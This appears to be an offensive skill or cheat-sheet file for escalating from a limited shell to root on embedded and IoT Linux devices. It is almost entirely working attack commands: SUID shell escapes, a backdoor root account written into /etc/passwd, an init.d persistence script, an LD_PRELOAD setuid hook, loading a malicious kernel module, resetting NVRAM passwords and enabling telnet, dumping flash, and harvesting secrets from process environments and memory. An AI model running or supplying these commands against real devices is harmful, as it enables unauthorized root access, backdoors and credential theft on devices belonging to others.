| name | privilege-escalation |
| description | Embedded device privilege escalation techniques — from limited shell to root, service exploitation, filesystem abuse, kernel vulnerabilities, and misconfigurations in IoT Linux environments |
Embedded Device Privilege Escalation
Initial Access Assessment
Determine Current Privileges
id
whoami
cat /etc/passwd
groups
cat /proc/version
uname -a
Enumerate System Configuration
mount
cat /proc/mounts
cat /etc/fstab
find / -writable -type d 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -o+w -type f 2>/dev/null
find / -exec getcap {} \; 2>/dev/null
ps aux 2>/dev/null || ps w
cat /etc/crontab 2>/dev/null
ls -la /etc/cron* 2>/dev/null
cat /var/spool/cron/crontabs/* 2>/dev/null
SUID Binary Exploitation
Common Exploitable SUID Binaries on Embedded Devices
| Binary | Exploitation Method |
|---|
busybox (SUID) | busybox sh -p → root shell |
su | Password brute force, default passwords |
sudo | Misconfigured sudoers, CVE check |
ping | Some versions allow command injection via -I |
mount | Mount attacker NFS/USB with SUID shell |
nmap | nmap --interactive → !sh (older versions) |
find | find / -exec /bin/sh \; |
awk | awk 'BEGIN {system("/bin/sh")}' |
vim/vi | :!sh or :set shell=/bin/sh then :shell |
python | python -c 'import os;os.execl("/bin/sh","sh","-p")' |
perl | perl -e 'exec "/bin/sh";' |
wget | Overwrite sensitive files (passwd, shadow, crontab) |
BusyBox-Specific Escalation
busybox --list
busybox sh -p
busybox ash -p
busybox mount -o loop,exec image.ext2 /mnt
busybox start-stop-daemon -S -n test -a /bin/sh
echo "* * * * * /tmp/payload.sh" > /var/spool/cron/crontabs/root
busybox crond -f -c /var/spool/cron/crontabs
Filesystem-Based Escalation
Writable Configuration Files
ls -la /etc/passwd /etc/shadow /etc/inittab /etc/init.d/*
echo 'backdoor:$1$xyz$abc123:0:0::/root:/bin/sh' >> /etc/passwd
echo '::respawn:/bin/sh' >> /etc/inittab
echo '#!/bin/sh\nchmod 4755 /tmp/sh' > /etc/init.d/S99backdoor
chmod +x /etc/init.d/S99backdoor
Overlay/tmpfs Abuse
mount | grep overlay
mount | grep tmpfs
cat /proc/mounts | grep -E "overlay|tmpfs|jffs2"
ls -la /tmp /var/tmp /dev/shm
Shared Library Hijacking
echo $LD_LIBRARY_PATH
cat /etc/ld.so.conf 2>/dev/null
ldconfig -p 2>/dev/null
ldd /usr/bin/suid_binary 2>/dev/null
echo 'void _init() { setuid(0); system("/bin/sh"); }' > /tmp/hook.c
LD_PRELOAD=/tmp/libhook.so /path/to/suid_binary
Service-Based Escalation
Web Server Exploitation
ps | grep -iE "httpd|lighttpd|uhttpd|goahead|boa"
ls -la /www/cgi-bin/ /usr/lib/cgi-bin/
D-Bus / IPC Exploitation
dbus-send --system --print-reply --dest=org.freedesktop.systemd1 \
/org/freedesktop/systemd1 org.freedesktop.DBus.Introspectable.Introspect
cat /etc/dbus-1/system.conf
ls /etc/dbus-1/system.d/
Exposed Debug Services
netstat -tlnp 2>/dev/null || ss -tlnp
Kernel Exploitation
Kernel Version and Module Analysis
uname -r
cat /proc/version
lsmod 2>/dev/null || cat /proc/modules
cat /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/dmesg_restrict
cat /proc/sys/kernel/kptr_restrict
Kernel Module Loading
insmod /tmp/malicious_module.ko
echo "/tmp/malicious_module.ko" > /etc/modules-load.d/evil.conf
cat /proc/sys/kernel/modules_disabled
procfs / sysfs Information Leaks
cat /proc/cmdline
cat /proc/kallsyms
cat /proc/net/tcp
cat /proc/net/arp
ls /sys/firmware/
cat /sys/class/gpio/*/value
Embedded-Specific Vectors
NVRAM / Flash Parameter Tampering
nvram show 2>/dev/null
nvram get http_passwd
nvram get admin_passwd
nvram set http_passwd=hacked
nvram set telnet_enable=1
nvram set ssh_enable=1
nvram commit
cat /dev/mtd0 > /tmp/bootloader.bin
cat /dev/mtdblock3 > /tmp/config.bin
strings /tmp/config.bin | grep -i pass
GPIO / Hardware Interface Abuse
echo 1 > /sys/class/gpio/gpio17/value
echo 0 > /sys/class/gpio/gpio17/value
i2cdetect -y 0
i2cdump -y 0 0x50
Cross-Process Credential Harvesting
cat /proc/*/cmdline | tr '\0' ' ' | grep -iE "pass|key|token|secret"
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret"
dd if=/proc/<pid>/mem bs=1 skip=<offset> count=4096 2>/dev/null | strings
Automated Enumeration Script
#!/bin/sh
echo "=== System Info ==="
id; uname -a; cat /proc/version
echo -e "\n=== SUID Binaries ==="
find / -perm -4000 -type f 2>/dev/null
echo -e "\n=== Writable Dirs ==="
find / -writable -type d 2>/dev/null | head -20
echo -e "\n=== Writable Config ==="
ls -la /etc/passwd /etc/shadow /etc/inittab 2>/dev/null
echo -e "\n=== Running as Root ==="
ps w | awk '$1=="root" || NR==1'
echo -e "\n=== Network Services ==="
netstat -tlnp 2>/dev/null || ss -tlnp 2>/dev/null
echo -e "\n=== NVRAM Passwords ==="
nvram show 2>/dev/null | grep -iE "pass|key|secret|token"
echo -e "\n=== Kernel Protections ==="
echo "ASLR: $(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)"
echo "Modules disabled: $(cat /proc/sys/kernel/modules_disabled 2>/dev/null)"
echo "dmesg restrict: $(cat /proc/sys/kernel/dmesg_restrict 2>/dev/null)"